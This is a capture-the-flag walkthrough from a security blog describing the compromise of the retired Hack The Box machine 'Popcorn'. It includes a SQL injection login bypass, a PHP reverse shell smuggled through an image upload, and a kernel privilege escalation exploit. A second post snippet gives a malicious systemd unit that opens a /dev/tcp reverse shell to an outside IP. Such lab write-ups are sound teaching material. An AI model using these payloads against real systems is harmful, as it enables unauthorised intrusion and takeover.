HacktheBox - Retired - Popcorn

HacktheBox - Retired - Popcorn - Updated

Recon

I've been using threader 3000 for my recon scans lately. It's a threaded python scanner that does a quick up/down scan on all tcp ports. After the initial scan it suggests a nmap scan to run based on only the open ports found in the initial scan. I like it alot

I then convert the XML the tool generates into HTML to make it pretty.

xsltproc ./popcorn.htb/popcorn.htb.xml -o ./popcorn.html

Port 22 OpenSSH 5.1p1
Port 80 Apache 2.2.12

Just two porst, a very old version of OpenSSH on port 22 and a very old version of Apache 2.2.12

Let's see what we can see on port 80

Just a page that says it's working.

So as part of web recon, we now can see what they want us to see, but how about other things that aren't part of this index.html that the web server is hosting?

For this we will do a directory/file brute force on the web server to see if it is indeed serving up anything other than just this index.html

dirb http://popcorn.htb

There is a /torrent/ directory let's check it out

Some software called torrent hoster.

So we have a login on this page, one of the first things I like to do when I see a login is see if it uses some sort of default easy creds like admin/admin, admin/password, admin/123456 or some such super low hanging fruit. If those don't work then I try just some generic SQL injections to see if we can get in that way.

Exploit

Using this sqli for a username we were able to authenticate as admin

admin'or'1'='1

OK so this looks like a torrent repo, where we can list torrent files. We can upload a new torrent to list on the site…. This is juicy.. If we can upload we can try to exploit.

I tried to upload a generic python script as a torrent to see what would happen.

I downloaded and ubuntu torrent to try to upload.

Cool, we can upload torrents to a torrent site...ok

Ok we can upload a screenshot too

I tried to upload my avatar

Let's see if we can sneak some php by this upload filter.

My goal is to try and capture the upload in burpsuite and insert some php inline during the transfer.

So first let's fire up burpsuite and capture a legit upload of a picture.

Now we send that over to repeater in burpsuite.

Now we will edit the file name to be .php instead of .jpg

And insert our php code somewhere inside of the jpeg transfer

Here is the PHP we are inserting.

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.19/5555 0>&1'");
?>

We get a 200 back from the server so it looks like we did upload successfully.

We should set up our netcat listener now

nc -lnvp 5555

Now we just need to find a way to run the php we inserted.

Poking around we find the directory where it places these uploaded files

popcorn.htb/torrent/upload/

It renamed our file to some hash…. It appears to be a sha1 hash of the torrent we uploaded.

Ok, now if we click on the php hopefully we get our shell.

We did!! Congrats!

From here we can poke around and find that we can read the user.txt in the /home/george folder

I upgraded to a bit of better shell with python since this machine had python installed on it.

python -c 'import pty; pty.spawn("/bin/bash")'

I found this th_database.sql file in /var/www/torrent/database/

And it has this inside.

Looks like a md5 hash for the admin password. I just googled the hash and found that it is admin12

I tried to login with admin/admin12 on the torrent site and it doesn't work, I'm guessing the password had been changed after this file was created.

I looked up exploits for this version of linux and came across this one…

https://github.com/lucyoa/kernel-exploits/blob/master/full-nelson/full-nelson.c

So i downloaded a copy to my kali box and used nc to get it over to popcorn

Then used netcat on popcorn to xfer the file

Then all we need to do is compile using gcc

gcc ./fn.c -o fn

from here we can reach /root/root.txt

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The

circusmonkey404's Security Site

Search This Blog

HacktheBox - Retired - Popcorn - Updated

Labels

Comments

Post a Comment

Popular posts from this blog

HacktheBox - Retired - Frolic

RingZero CTF - Forensics - Who am I part 2

Abusing systemctl SUID for reverse shell